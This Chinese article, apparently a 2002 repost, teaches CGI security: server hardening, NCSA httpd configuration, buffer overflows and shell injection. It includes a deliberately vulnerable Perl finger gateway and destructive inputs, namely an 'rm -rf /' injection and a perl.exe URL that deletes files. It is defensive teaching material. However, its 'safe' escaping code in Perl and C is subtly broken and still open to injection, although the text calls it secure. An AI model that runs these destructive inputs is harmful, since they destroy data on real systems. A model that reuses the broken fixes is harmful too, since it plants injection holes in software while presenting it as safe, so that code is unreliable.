![[ 永远的UNIX::UNIX技术资料的宝库 ]](/images/title.gif) GB | BIG5
|
| 首页 > 安全技术 > 程序 > 正文 |
 |
| CGI安全问题 |
| 本文出自:http://sinbad.zhoubin.com 作者: 千禧星 (2002-11-26 06:02:01) |
如果你以前从未编写过应用于网络的软件，那么安全问题可能是你在编程时最不注重的了
。毕竟，在单机上，你没有必要担心写了不安全的程序，因为，大概也只能有一个人可以接
近那台计算机。
但是，在编写应用于Internet的软件中需要非常强调安全问题。有一个挺老的计算机格言
说："使一台计算机真正安全的唯一方法是将它与世界断开连接并把计算机放到紧锁的房间里
。"可见，将计算机和一个网络简单相连就会降低你的计算机的安全性。
对于越大的相连的网络这句话越适用，比如Internet,这里有成千上万的人可能会访问你的
计算机。很多基于Internet的服务，特别是WWW,别设计成能使其他人很容易的从你的计算机
中获取信息。这些你允许接受访问的服务（或者是有意的，或者是无意的）都有可能成为老
谋深算、心怀恶意的人的攻击途径。一个很糟糕的网络服务器很容易被攻破，甚至潜在给出
了可以访问你的整个计算机和重要数据的权限。
我说你提供的每一项网络就象进入你系统中另一个门，是指什么呢？什么才是安全破坏呢
？不管是什么目的，安全破坏是指一个人从你的计算机中获得了未经授权的访问权。"Unaut
horized access"(未经授权的访问权)也可以理解为很多事情，试图从服务器上运行一个非公
共的程序，甚至是获得在Unix中获得root权限。
你过多的依赖于为网络服务器编写安全程序的程序员的知识和细心。毕竟，没有人指望你
详细审查几千行的源码只为了弄清楚软件是否有安全漏洞；大多数情况，你依赖编程者的可
靠性和其他审阅源码和仔细的帮助测试软件的专家。假如网虫们证明了你不能完全相信这些
程序员可以写出完美的安全的代码，那么你可以采取措施最大限度的减少风险。
在后面的"保护你的Web服务器",你将学习Web服务器的安全。目前，假定你的应用于Web服
务器的软件是安全的，并且正确的配置了；也就是说，没有人可以仅仅通过你的Web服务器从
你的机器中获得未经授权的权限。为什么写安全的CGI脚本很重要呢？CGI是一个允许你拓展
Web服务器的一般协议。通过编写CGI程序，你能够增加Web服务器的功能。这些功能很可能无
意中引入新的安全漏洞。一个糟糕的CGI应用程序很可能允许任何人拥有你的机器的完全的权
限。用户提交一个表单或者是以另一种方式访问CGI脚本的时候，本质上来说，是你允许他们
远程运行你的服务器中的应用程序。因为很多的CGI应用程序接受用户的表单输入（或通过填
写表，或是通过命令行），从另一个角度来说，你允许用户控制CGI程序的运行。作为CGI程
序的作者，你需要确定你的CGI脚本只能用来实现它指定的功能。这一章提到了相关的Web安
全问题，提供了编写安全的CGI程序的深入的资料。在本章的最后，你也会学会怎样安全的编
写CGI。
1. 基本的安全问题
你的Web服务器的全面的安全性取决于很多因素。如果你的Web服务器没有正确配置或者系
统有其它漏洞的话，那么一个安全的CGI程序也是毫无用处的。这里，我论述一些相关的Web
安全问题，并说明如何为CGI程序正确的配置你的Web服务器。
1-1. 操作系统
一个通常的问题是什么样的平台对Web服务器来说更安全？运行System 7的Macintosh,Uni
x的工作站，运行OS/2或Linux的PC等等。在这个问题上有过很多争论，这些反映了人们对不
同的操作系统的不同的偏爱。没有一个操作系统比另外一个明显安全。Unix被认为比单用户
的平台（比如Macintosh或者是运行着Windows的PC）更安全，因为曾经有人攻破过一些运行
着后者(注：括号中)的机器，并拥有了所有文件的权限。然而对于Unix，有一个关于文件属
主和权限的基本的理解。如果你的服务器正确的配置了,并被一个安全的用户（比如：非roo
t用户）拥有，这时候，如果未经授权的用户闯进来，
他（她）只能造成有限的破坏。然而，有限的破坏已经够糟糕了，在以后的章节的例子中你
会明白。
另一方面，因为Unix经常要配置很多不同类型的网络服务，比如mail,FTP,Gopher,WWW等等
,因此，有更多的潜在的“后门”。加强这些服务的安全性是一个耗时的过程，甚至对有经验
的系统管理员亦如此。即使你每项配置正确无误，然而在每个单独的软件包里仍有可能出现
恼人的bug。安全漏洞在各种软件包中并不是罕见的，从一些组织（比如CERT(the Computer
Emergency ResponseTeam))的有关各种的Unix网络服务周期性的通知中我们可以清楚的了解
到。 每一个不同的平台都有其不同的安全含意，但是不能彼此比较安全性。尽管
你应该注意每个操作系统的安全性，但是这不应该成为你选择平台的主要标准。选择你的平
台，纠正有关该平台相关的安全漏洞，然后安全正确的配置你的Web服务器。在你完完全全的
完成这些步骤之后，你才应该将你的精力投入到编写安全的CGI脚本中去。
1-2. 保护你的服务器
编写安全的CGI脚本的第一步要确定你安全并正确的配置了你的Web服务器。如果你的Web服
务器并不可靠，那即使你再仔细编写你的CGI脚本也是没有用的,人们仍然可以闯入你的计算
机。而且，正确的配置你的Web服务器能够减小糟糕的CGI程序所带来的可能的危害。
其它：选择一个安全的Web服务器
在不同的平台有数不清的Web服务器可供使用。如果可能的话，自我确定一个产品是否安全
是很困难的，你将不得不依靠公司的信誉和口头承诺。检查你的选择。在你拥有了一个Web服
务器的列表之后，看一下每个产品的有效期以及目前有多少人使用它。越老的并且经常使用
的Web服务器，有关的安全方面的bug越有可能被发现并修补。如果源码是开放的，并且你有
时间和专门技术，自己从头至尾看一下源文件，看看能否找到潜在的漏洞。阅读网络中不同
的新闻组对该产品以及作者和发行人的评论。著名的公司或作者会很快的通知用户
其产品的任何问题。阅读各个组织（如CIAC(Computer Incident AdvisoryCapability)和CE
RT）有关安全方面的警告信息。检查所有的服务器组件并确定你是否真的需要所有组件的特
性。越复杂、功能
越强大的服务器，越有可能存在未被发现的安全问题。确定你的服务器支持日志功能，这样
你可以跟踪安全问题或其它故障的原因。 有一个对付意外事件的计划。如果发现安全漏洞，
要随时准备升级或者替换你的Web服务器。关注新版本的发行和新闻组中有关你的Web服务器
的信息。尽量使用Web服务器最新的非测试的版本。不必担心免费的服务器。关于开发源码使
服务器更安全或者相反有争论。如果服务器的源码不公开，安全漏洞将更难发现。如果源码
公开，那么，理论上，漏洞将很快被发现，公开并得到修补。
在增强服务器的安全性时，应该有三个目的：
A.配置你的程序使它只能提供你指定的服务。
B.不到必要的时候不暴露任何信息。
C.如果系统遭到入侵，最大限度地减少损坏。
我知道的有关你的计算机的信息越多，我就越有机会闯入你的计算机。例如，如果我知道
哪个目录或者文件夹存储了你的所有的敏感的、私有的信息，这样，我将进入你的系统获取
全部访问权缩小至只是获得某个目录的权限（通常是更容易了）。或者，如果我可以访问你
的服务器配置文件或源码或者是你的CGI脚本，那我可以很容易的浏览它们来寻找安全漏洞。
如果你的系统有漏洞，你不想让别人轻易知道，你必须在别人之前发现它们。
1-2-1.你应该在什么地方放置你的CGI程序?
很多服务器允许你通过各种不同途径来运行CGI程序。例如，你可以指定一个特定的目录作
为你的cgi-bin。或者，你可以允许CGI存放在任何目录下。
这两种方法都有优缺点，但是从安全的角度来说，在一个指定的目录中放置你的所有的C
GI应用程序更好。把所有的程序放到同一个目录使你很容易跟踪你服务器器所有的应用程序
并审查它们的安全漏洞,同时，还可以防止被恶意修改。
如果你倾向于使用描述型的语言(例如Perl)来编写你的大部分的应用程序，那么源码被包
含在程序自身中。如果你不小心的话，这些代码很容易被阅读，甚至被利用。例如，很多文
本编辑器存储备份的文件，通常在文件名的后面加一个扩展名（比如.bak）。
举个例子，emacs使用扩展文件名~存储备份文件。假设你使用Perl编写了一个CGI脚本—
—program.cgi——存储在Web的数据目录而非中心的指定的目录中。现在，假设你使用emac
s对程序做了一些琐碎的修改而忘记了删除备份文件。现在，在你的目录里有了两个文件：p
rogram.cgi和program.cgi~。Web服务器知道以.cgi结尾的文件是CGI程序,它会运行这个程序
而不是显示它的内容.然而,聪明的用户可能尝试访问program.cgi~.因为它不是以.cgi结尾,
你的Web服务器将
它以原始的文本文件发送出去,这样就允许用户查看你的源代码来搜寻可能的漏洞.这违反了
避免暴露不必要信息的原则.
当然,如果你的服务器允许你指定位于某一特定的目录下的文件均为CGI,那么这个文件的扩
展名是什么也就无关紧要了.这样,在前面的例子中,如果备份文件放在这样特定的目录里,当
用户试图访问它时,服务器就会运行这个程序而不是发送源代码.
注意到在你的服务器中指定一个中心目录作为CGI程序的存放位置是有限定的,特别是在多
用户系统中.例如,如果你是一个ISP(Internet Service Provider)并且你想让你的的用户可
以编写并运行他自己的CGI程序,你可能有意允许CGI程序可以存放在任何的目录中.做这个之
前,认真考虑一下可替换的选项.你的客户们打算写很多的特定的个性化的脚本吗?如果不是,
最好是让你的客户将他的CGI脚本提交给你,然后由你将其添加到cgi-bin目录中,而不要允许
CGI可在任何目录中有效.
关于CGI程序的位置另外一个问题是将解释器放在哪里.解释脚本时,服务器运行解释器,由
它顺序装载脚本并执行.不要将解释器放到你的cgi-bin目录中,或其他有关你的数据结构的任
何目录中.给了用户访问解释器的权限本质上就是给了他们运行你的系统中任何程序或命令的
权力.
如果你使用Windows或其他的非Unix操作系统,这尤其重要.在Unix系统中,你可以在脚本的
第一行中指定解释器.例如:
#!/usr/local/bin/perl
# this first line says use Perl to run the following script
在Windows中,举个例子,没有类似在脚本中指定解释器的方法.一个调用Perl脚本的方法是
建立一个批处理文件来调用Perl和脚本:
rem progname.bat
rem a wrapper for my perl script, progname.pl
c:\perl\perl.exe progname.pl
然而,你也许倾向于避免建立额外的程序,只是简单的将perl.exe放在你的cgi-bin目录中,
并访问如下的URL:
http://hostname/cgi-bin/perl.exe?progname.pl
这也行,但是这样也允许了网络上的任何一个人运行你机器中的Perl命令.例如,可以访问如
下的URL:
http://hostname/cgi-bin/perl.exe?-e+unlink+%3C*.*%3E%3
经过解码,其相当于调用Perl并运行下面的一行程序,这行程序将删除当前目录的所有文件
.显然,这是我们不想的.
unlink <*.*>;
你永远没有理由将解释器放入你的cgi-bin目录中(或者其他可以运行CGI的目录),所以千万
不要这么做.一些Windows服务器能够根据其扩展名辨别脚本的类型并运行相应的解释器.例如
,Win-HTTPD认为每一个以.pl结尾的CGI脚本是Perl脚本,并自动运行Perl.如果你
的Web服务器没有这个特性,就像这章第一个Windows Perl例子那样使用包装的脚本.More:我
应该使用一个解释器吗?
如果你使用一个Unix或者是Macintosh的Web服务器的话,记住永远不要冒险将一个解释器放
到你的cgi-bin中.前面我们提到过,Unix允许你指定特定的位置给包含脚本的解释器.为了在
Macintosh中使这些脚本有效,你可以使用一个应用程序如ResEdit编辑代码将脚本与挪用的解
释器结合.
1-2-2.SSI(Server-Side Includes)("服务器嵌入指令")
在第四章中，你已经知道了应该避免服务器嵌入指令的原因。一个经常提出的一般原因是
安全性。很显然，一些服务器嵌入指令(特别是NCSA和Netsape)的执行会允许用户将程序输入
包含到HTML文件中。每次当这些HTML文件被访问时，在服务器端程序会运行并将输出作为HT
ML文件的一部分显示出来。
允许这种服务器的嵌入指令，你就很容易受到一些安全风险的影响。首先，
在Unix的计算机中，程序由服务器的所有者运行，而不是程序的所有者。如果你的服务器没
有正确配置，并且将重要的文件或程序交给服务器的所有者，这些文件和程序以及它们的输
出有可能被你的计算机的用户所访问。
当你允许用户通过浏览器修改你系统中的HTML文件时，这种风险就增大了。一个通常的例
子是留言本。在留言本中，用户填写表单并把信息提交到CGI程序中，程序一般是将未编辑的
信息附加到一个HTML文件中。如果不编辑或过滤提交的信息，你就允许了用户从他或她的浏
览器中提交HTML代码。如果你允许程序在服务器端嵌入执行，不怀好意的用户就可以通过提
交如下的附加代码给你的机器造成破坏:
（略）
这个服务器嵌入指令将试图尽可能地删除你的机器中的所有内容。
你可以通过很多方法避免这个问题，而不需要完全关闭服务器嵌入。你可以在将提交的文
本附加到你的留言本之前过滤所有的HTML附加代码。或者你可以禁止你的服务器嵌入中的ex
ec的功能(在这章后面的"增强你的Unix服务器的安全"中我将演示在NCSA服务器中如何做)。
如果你忘记了其中的任何一条,其他的一些防护措施同样可以很大程度上减少因这种附加代
码造成的危害.例如,只要你的服务器以不存在的用户,非root的身份运行,这个附加代码不会
删除任何重要的东西,可能什么也不会丢掉.假设不还好意者不是试图删除你的磁盘上的所有
东西,而是使用如下的代码获取你的
/etc/passwd作为破解之用:
（略）
当然,如果你的系统使用的是shadow型的passwd档,那么你的/etc/passwd对潜伏的hacker来
说毫无用处.
这个例子论证了通常的服务器端嵌入指令和CGI中两个很重要的问题.首先,安全漏洞可以被完
全隐藏.谁会想到一个简单的使用SSI编写的留言本程序可以体现如此之大的安全风险?其次,
一个安全漏洞的潜在的危害可以通过正确配置你的服务器和加强你的系统安全来降低到最小
.
1-2-3.增强你的Unix服务器的安全
一个安全的Unix系统对于Web文件服务来说是个非常优秀的平台。然而，在加强服务器安全
和正确配置Unix的Web服务器的过程中伴随着很多复杂的问题。你应该做的第一件事就是确定
你的机器已经尽可能的安全了。
将你不需要的网络服务关掉，不管对你而言他们是多么没有害处。任何人未必能使用finger
协议侵入你的系统，举个例子，它提供了一些用户的信息，然而，finger可以提供给hacker
关于你的系统的有用的信息。
加强你的系统的内部安全。如果hacker设法破解了一个用户帐号，要确定这个hacker不会
获得额外的权限。安全shadow型的password文件和去除设定用户权限的脚本(脚本以所有者的
身份运行，即使是由其他用户调用时）是很有用的。
加强Unix机器的安全是一个复杂的课题，超出了本书的范围。我强烈建议你购买一本这方
面的书，阅读Internet上这方面的资源，如果有必要的话，甚至可以雇佣一个咨询顾问。不
要低估加强你的机器安全的重要性。
另外，分配隔离的空间给你的Web服务器和文件。你的文件目录的用途是将这些文件提供给
其他人使用，可能是整个Internet,因此你不要将你别人知道的任何东西放到这些目录里。你
的服务器目录包含重要的日志和配置信息，并且你要尽可能的不要让你的内部用户看到或修
改它。
要明智的设置你的目录和服务器的所有权和使用权。为Web相关的目录建立一个新的用户和
组是通常的一个方法。确定非特权用户不能更改服务器或文件目录。
你的服务器千万不要以root身份运行(running as root)。在Unix系统中，只有root能够访
问小于1234(Sinbad: should be 1024)的端口。因为缺省的Web服务器运行于端口80,你需要
是root来启动一个Web服务器。然而，在一个Web服务器以root身份运行以后，它可以修改自
身进程的所有权，或者改变它用以处理连接的子进程的所有权。其中任何一种方法都需要服
务器以非root身份运行。确定配置你的Web服务器使其以非root身份运行，最好是以一个完全
不存在的用户如nobody。这样，如
果在你的Web服务器或CGI程序中有漏洞时，它可以降低潜在的危害。
禁止所有你不需要的服务器特性。如果你开始禁止了一个特性，而后来又决定使用它时，
你总是可以将其改回来的。像SSI和SSL都是你可能需要禁止的。
如果你的用户不需要通过你的服务器将他们个人的Web文件用于服务，就需要使Web目录无
效。这样一来，你就可以完全地控制你的机器中用于服务的所有文件，这对于通常的维护和
安全是很重要的。
如果你的用户需要将他们个人文件用于服务（例如，如果你是一个IAP(InternetAccess P
rovider),确信他们不能超越你的主范围。认真考虑一下用户是否需要在他们的个人目录里运
行CGI程序的权力。前面我们已经提到，最好将所有的CGI放到一个集中的位置
CGIWRAP:
在Web上一个流行的软件包是cgiwrap,由Nathan Neulinger(nneul@umr.edu)编写。这个软
件包允许用户作为程序的拥有者运行他们自己的CGI程序，而不是作为服务器的所有者。
不清楚仅仅允许所有人运行他们自己的未包装的CGI程序是更否更有益。一方面，一个糟糕
的CGI脚本由nobody拥有比起由一个实际存在的用户拥有来说，前者可能造成的危害更小。另
一方面，如果CGI程序以nobody运行对系统造成了破坏，那么责任在于系统管理员，相反，如
果只是一个特定的用户文件被破坏了，那么责任终将是用户的。
我的建议是不要赋予用户运行个人CGI的权力，如果这样不可能，那么你最终使用cgiwrap
还是一个简单的程序取决于你想责任出在哪里。
最后，你可能需要考虑你的Web文件建立一个chroot环境。在Unix系统中，你可以通过使用
chroot来保护目录。当server运行在一个chroot的目录中时，它看不到这个目录之外的任何
东西。在一个chroot环境中，如果有人想侵入你的Web服务器，他们只会破坏这个目录里的文
件。
注意，一个chroot环境仅适用于当Web服务器提供单独的文件资源。如果你的Web服务器将
用于服务的用户文件存放在多个目录中时，想建立一个有效的chroot环境几乎是不可能的。
另外，解释器(例如Perl或者一个shell)的存在也会降低chroot环境的性能。在一个没有任何
shell和解释器的chroot环境中，侵入系统的人最坏情况下能改变和破坏你的文件，如果存在
解释器，潜在的危害会上升。
1-2-4.例子：安全的配置NCSA服务器
我将通过讨论NCSA服务器(v1.4.2)来论证怎样着手正确地配置Unix环境下的通用的Web服务
器。有很多Web服务器可以运行在Unix系统下，NCSA是最早的服务器之一，被广泛使用并且属
于自由软件，而且相当容易配置。我仅说明我认为对Web服务器安全方面有关的配置；想获得
有关配置NCSA httpd更多详细的说明，请参照它的站点：
http://hoohoo.ncsa.uiuc.edu/
你可以将这里说明的原则应用到几乎所有的Unix Web服务器中。
首先，我需要表明我的目标。在这个方案中，我想将NCSA服务器架设在一个很小的名为My
Company的ISP的安全的Unix机器上。这台机器的域名为www.mycompany.net。我需要我的机器
中的每一个拥有帐号的人能够将他或她的Web文件用于服务并可以使用CGI或其他的特性。
我绝对应该需要什么特性呢？这里，因为我是一个很小的ISP,我不能让用户自行将其CGI用
于服务。如果他们想写出并使用他们自己的CGI程序，他们必须将其提交给我来检查；如果C
GI程序没问题，我就安装它。另外，我要提供一些通常需要的一般的程序，比如留言本和各
类表单处理的应用程序。现在，这个方案里我不需要其他任何的特性了，包括服务器嵌入指
令。
我们来看一下我将如何配置我的Web服务器。我将建立用户和www组；这些将拥有所有恰当
的目录。我将建立一个目录来存放我的服务器文件(/usr/local/etc/httpd/)和存放Web文件
的目录(/usr/local/etc/httpd/htdocs/)。所有这些目录对全球是可读的对所建立的用户和
组是可写的。
现在，我将要配置服务器。NCSA HTTPD有三个配置文件：access.conf,httpd.conf和srm.
conf。首先，你需要告诉httpd你的Server和HTML的目录所在。在httpd.conf中，以如下一行
来指定Server的目录:
ServerRoot /usr/local/etc/httpd
在srm.conf中，这样指定文件目录：
DocumentRoot /usr/local/etc/httpd/htdocs
因为我想指定在/usr/local/etc/httpd/cgi-bin目录中的所有文件为CGI程序，在srm.con
f中包含如下一行：
ScriptAlias /cgi-bin/ /usr/local/etc/httpd/cgi-bin
注意我的cgi-bin目录的实际位置在我的服务器目录而不是文件目录。因为我想要使我的服
务器目录(包括包含CGI的目录)尽量为私有,我将它放到文件目录以外。如果你在该目录中有
一个名为mail.cgi的CGI,我可以通过如下的URL访问它:
http://www.mycompany.net/cgi-bin/mail.cgi
在srm.conf中需要编辑另一行；它对我们追求特定的服务器安全不是特别有关系，但是为
了彻底的安全，我还是要提到它:
Alias /icons/ /usr/local/etc/httpd/icons
这个Alias指令允许我们为你的文件目录树内部或以外的目录指定一个别名。与ScriptAli
as指令不同，Alias并不改变目录的含义。
因为我需要禁止服务器嵌入指令，并不允许CGI在cgi-bin以为的目录运行，在srm.conf中
我通过在行首插入一个英镑符号(#)注释掉几行:
#AddType text/x-server-parsed-html.shtml
#AddType application/x-httpd-cgi.cgi
AddType可以帮助你在MIME类型和文件扩展名间建立关联。text/x-server-parsed-html对
parsed HTML来说是MIME类型，而application/x-httpd-cgi则是CGI应用程序类型。这里，我
不需要为这种MIME类型指定扩展名，因为在配置服务器的时候，我们忽略cgi-bin中的所有文
件扩展名，一律被视为CGI。
最后，我需要通过编辑全局的access.conf文件来设置某些目录的属性和访问权限。为了为
所有的目录定义全局的参数，仅仅将没有任何环境标记的指令放到文件中。为了为特定的目
录指定参数，在directoryname是目录的全路径时,通过来包含指令。
缺省情况下，下面的全局选项这样设置:
Options Indexes FollowSymLinks
当URL指定的目录里没有要查找的文件时，Indexes允许你指定一个文件。缺省情况下，这
个变量为index.html,通过srm.conf中的DirectoryIndex来指定，很符合我们的意图。Follo
wSymLinks意指服务器会返回符号连接指向的数据。我没看到这个特性的必要性，所以我禁止
了它。现在，这一行看起来象这样：
Options Indexes
如果我想在任何目录中使CGI程序有效，我可以通过包含ExecCGI选项来设置:
Options Indexes ExecCGI
这一行，结合在srm.conf中的AddType指令，可以允许我通过在任何目录中给所有的CGI程
序添加.cgi的扩展名来执行一个CGI。
缺省情况下NCSA httpd的配置，通过在一个具有适当的属性和访问限制的特定目录中创建
.htaccess文件使access.conf中的所有设置都可以被超越。在这种情况下，我不介意用户改
变它们的访问限制。然而，我不想赋予用户在他们自己的目录里执行CGI和.htaccess文件的
能力。
AddType application/x-httpd-cgi .cgi
Options Indexes ExecCGI
因此，我编辑access.conf来允许用户超越除了选项外所有的设置：
AllowOverride FileInfo AuthConfig Limit
现在，我的服务器安全的配置了。我只允许在cgi-bin目录中运行CGI,并且使服务器嵌入指
令完全无效。服务器以nobody用户运行，一个我的系统中不存在的用户。我禁止了所有我不
需要的特性，并且用户不能超越这些年特殊的限制。想了解很多的其他的配置信息，包括详
尽的访问限制，请参照NCSA服务器说明文件。
2.写出安全的CGI程序
假设你已经使的你的计算机和Web服务器很安全了，那么你后面就应该学会怎样写出一个安
全性很好的CGI程序。编写安全的CGI的原则和前面提到的相似：
A.你的程序只能实现你指定的功能。
B.不要给客户额外的它不需要知道的信息。
C.不要相信客户给你正确的信息。
关于第一条可能存在的安全隐患我在guestbook的例子中已经说明了。我提到了几个可以揭
露漏洞的常见的错误，但是，你同样应该记住：你应当考虑你所应用的每一个函数的所有含
义。
第二条是一般安全性原则的简单扩展：系统之外的人对你的系统了解的越少，你的系统就越
没有可能被攻破。
最后一条原则只是一条很好的很重要的编程原则，但同样也是安全性很好的一个。CGI程序
应该是安全可靠、健壮的。一个hacker可能做的第一件事是想尽一切办法通过在你的CGI程序
中不断调整输入来搞乱程序，进而达到攻入计算机的目的。如果你的程序并不健壮，那么这
时，它或者会崩溃，或者会实现其它的功能(当然这些功能是你不允许的)。这两种可能性都
是令人不快的。为了杜绝这种可能性，不要对你的客户可能发送的信息格式或值作任何的假
定。
大多数CGI程序的本质是简单的输入/输出程序。它提取客户端的说明并返回一些响应。这
种程序几乎没有风险（当然也会出现漏洞，后面你会看到）。因为CGI程序并不对输入感兴趣
，没有什么错误可能发生。然而，一旦你的程序利用输入启动，可能回调用其他的程序，写
文件，或者做一些功能更强大的而非简单返回输出的事情，那么你就会冒引入安全漏洞的风
险。通常，功能是直接和安全风险成比例的。
2-1.语言的风险性
不同的语言有其与生俱来的安全风险。任何语言都可以编写安全的CGI程序，但是你必须注
意每个语言的怪癖（急转）。这里，我只讨论C和Perl，但是它们的有些特性并不适用于其它
语言。想得到其他语言的指定信息，请参照适当的文件。
在前面的章节我们学到，一般来说，编译CGI程序比解释脚本更可取。编译程序有两个优势
：首先，你不需要有服务器可理解的解释器；其次，程序的源文件是不可访问的。注意，像
Perl一样的传统的解释型语言可以被编译成二进制形式。(关于如何在Perl中实现，请参阅L
arry Wall和Randall Schwartz的《Perl编程》)从安全立场来说，编译的Perl程序和编译的
C程序一样好用。 像C这样比较低级的语言会出现被称为buffer overflow的问题。C语言并没
有处理字符串的好的内置的方法。通常的方法或者是声明一个字符数组或者指向字符的指针
。很多人倾向于前一种方法，因为它编程比较简单。思考一下下面两个功能等价的程序代码
。
程序1. 在C语言中使用数组定义字符串.
#include
#include
#define message "Hello, world!"
int main()
{
char buffer[80];
strcpy(buffer,message);
printf("%s\n",buffer);
return 0;
}
程序2. 在C语言中使用指针定义字符串.
#include
#include
#define message "Hello, world!"
int main()
{
char *buffer = malloc(sizeof(char) * (strlen(message) + 1));
strcpy(buffer,message);
printf("%s\n",buffer);
return 0;
}
程序1比程序2简单得多，而且在这个特定的例子里，两者都可以很好的工作。我们假设有
这样一个例子：我已经知道了我处理的字符串的长度，因此，我可以定义一个适当的数组长
度。但是，在CGI程序里，你不知道输入的字符串会有多长。举个例子，如果信息的长度大于
80 char，那么程序1会崩溃(即我们通常说的"溢出")。
这被称为buffer overflow,聪明的hacker就会利用这个来远程执行命令。这个缓冲溢出的
bug存在于NCSA httpd v1.3中。这是为什么一个网络（或CGI）程序员需要更细心地编程的很
好的例子。在一个单用户的机器里，缓冲溢出只能造成系统崩溃。在崩溃的单用户计算机中
没有必要利用缓冲溢出来执行程序，因为大概你已经执行了你需要的任何程序（除了公共终
端）。然而，在网络系统中，一个崩溃的CGI程序远不是这么简单，它会成为未经授权的用户
进入的后门。
程序2中的代码解决了两个问题。首先，它动态的分配了存储字符串的足够的空间。其次，
注意我将信息的长度加了1。这样，我实际上分配了比字符串长度多1字节的内存。这就保证
字符串不会是0。因为目标字符总是会为额外的字符留有空间，strcpy()函数在目标字符串的
最后添加了空字符，strcpy()放置了空字符。没有理由认为传送给CGI脚本的字符串会是空字
符，因此，为了以防万一，我在最后留了1字节的空间。
倘若你的C程序避免了像缓冲溢出这样的问题，那么你就可以写出安全的CGI程序。然而，
这是艰苦的工作，特别是当你的CGI很大更复杂的时候。这些问题将迫使你花费比一般的CGI
任务更多的时间来思索低级语言的设计工作。基于这个原因，你可能更喜欢高级一点的编程
语言(如Perl)。
然而，具有高级特点的Perl有着冒失的一面。尽管你能假设Perl会正确地处理字符串的存
储，但当Perl使用你并不注意的高级一点的语法做一些事情时，很可能会有危险。在下一节
中你会更清楚的了解到。
2-2.shell危险性
很多的CGI任务都可以使用其他的程序很容易的实现。例如，你要写一个CGI的邮件网关,完
全使用CGI程序来完成执行邮件的发送代理是很愚蠢的行为。更实用的方法是将数据通过管道
传送到一个存在的邮件传送代理程序，比如sendmail,然后让sendmail来完成剩下的工作。这
种习惯很好并值得鼓励。 安全风险依赖于你怎样调用这些外部的程序。完成这项工作在Per
l和C中有很多函数可以实现。它们中很多函数通过调用shell，然后让shell来执行这个命令
。这些命令被列在表1中，如果你使用了它们中的一个，那么你就使得Unix
shells在攻击下显得很脆弱。
表1. C和Perl中可以调用shell的函数.
Perl 函数 C 函数
system('...') system()
open('| ...') popen()
exec('...')
eval('...')
`...
为什么shell很危险呢？有很多的非数字的字符可以通过shell转换成特殊的字符。这些字
符被称为元字符(译者注:这里我将metacharacter译为元字符),见表2。
表2. Shell metacharacters.
; < > * | ` & $
! # ( ) [ ] : {
} ' "
每一个这种字符在shell中都起着特殊的作用。例如，假如你想利用finger来查询一台计算
机并将结果存储到一个文件中，你可以在命令行中如下输入：
finger @fake.machine.org > results
这会使用finger查询主机fake.machine.org并将查询结果保存到一个文本文件results中。
这个>字符在这里是一个重定向符。如果你要实际地使用>字符
——例如，你想将它回显到屏幕上——你将需要在这个字符前加一个反斜杠。
举个例子，下面将向屏幕输出一个符号>:
echo \>
这被称为转义字符(escaping or sanitizing the character string)。
hacker是怎样利用这个作为他（她）的优势的？观察以下程序3中用perl编写的finger程序
。这个程序所做的是允许用户查询一个用户和一台主机的详细信息，并且，这个CGI可以查询
用户并显示结果。
程序3. finger.cgi.
#!/usr/local/bin/perl
# finger.cgi - an unsafe finger gateway
require 'cgi-lib.pl';
print &PrintHeader;
if (&ReadParse(*in)) {
print "\n";
print `/usr/bin/finger $in{'username'}`;
print "\n";
}
else {
print " \n";
print "\n";
print "\n\n";
print "Finger Gateway\n";
print "\n";
print "User@Host: \n";
print "\n";
print "\n";
print " \n";
}
乍一看，这个程序好象没有什么害处。因为是用Perl编写的，不会有bufferoverflow的危
险。我使用了finger的完全路径，这样gateway不会被伪造的finger程序所欺骗。如果输入是
一个不合适的格式，那么gateway将返回一个错误而不会被人利用。u
但是，如果我尝试如下的输入会怎样呢(如图1所示)
nobody@nowhere.org;/bin/rm -rf /
FINGER GATEWAY
User@Host: |nobody@nowhere.org ; /bin/rm -rf / |
| Submit Query |
我们来看一下下面的程序行会如何处理这样的输入：
print `/usr/bin/finger $in{'username'}`
由于你使用了向后的标记，首先它会执行一个shell。然后它将执行如下的命令:
/usr/bin/finger nobody@nowhere.org ; /bin/rm -rf /
这将会怎样呢？假设在命令行像这样输入。它会删除所有的文件和目录，从root的目录开
始。我们需要sanitize这个输入来render the semicolon(;)metacharacter harmless.在Pe
rl中,利用表4中的函数可以很容易的实现。(C中的这些等价函数在表5中；它们来自cgihtml
的C库。)
程序4. Perl中的escape_input().
sub escape_input {
@_ =~ s/([;<>\*\|`&\$!?#\(\)\[\]\{\}:'"\\])/\\$1/g;
return @_;
}
程序5. C语言中的escape_input().
char *escape_input(char *str)
/* takes string and escapes all metacharacters. should be used before
including string in system() or similar call. */
{
int i,j = 0;
char *new = malloc(sizeof(char) * (strlen(str) * 2 + 1));
for (i = 0; i < strlen(str); i++) {
printf("i = %d; j = %d\n",i,j);
switch (str[i]) {
case '|': case '&': case ';': case '(': case ')': case '<':
case '>': case '\'': case '"': case '*': case '?': case '\\':
case '[': case ']': case '$': case '!': case '#': case ';':
case '`': case '{': case '}':
new[j] = '\\';
j++;
break;
default:
break;
}
new[j] = str[i];
j++;
}
new[j] = '\n';
return new;
}
这将返回一个带有跟随在\后的shell转义字符的字符串。这个修正的finger.cgi网关在程
序6中。
程序6. 一个安全的finger.cgi.
#!/usr/local/bin/perl
# finger.cgi - an safe finger gateway
require 'cgi-lib.pl';
sub escape_input {
@_ =~ s/([;<>\*\|`&\$!#\(\)\[\]\{\}:'"])/\\$1/g;
return @_;
}
print &PrintHeader;
if (&ReadParse(*in)) {
print "\n";
print `/usr/bin/finger &escape_input($in{'username'})`;
print "\n";
}
else {
print " \n";
print "\n";
print "\n\n";
print "Finger Gateway\n";
print "\n";
print "User@Host: \n";
print "\n";
print "\n";
print " \n";
}
这次，如果你使用前述相同的输入，将派生出一个shell,它将尝试这样执行:
/usr/bin/finger nobody@nowhere.org \: /bin/rm -rf /
这样,那个恶意的企图将无法生效.它不再试图删除系统中所有的目录,而是尝试finger用户
nobody@nowhere.org,:,/bin/rm,-rf和 /。由于后面的字符组合未必是你的系统中的用户，
因此可能会返回一个错误。
记住几个问题。首先，如果你的Web服务器正确的配置了（例如，以非root身份运行），那
么，删除文件系统中的所有内容的企图不会成功。(如果服务器以root身份运行，那么潜在的
危害将是不可估量的。千万不要这样做!)另外，用户还假定rm命令在/bin目录中。他或她假
定了rm在这个路径中。然而，所有这些只是对大多数的Unix系统的乐观的假设，并不是完全
适用的。在一个chrooted系统环境中，这个目录中并没有rm命令。那么hacker的努力将是徒
劳的。从理论上说，通过安全防范和正确配置你的Web服务器,你可以将潜在的危
害降低到几乎为0，即使是书写了糟糕的脚本。
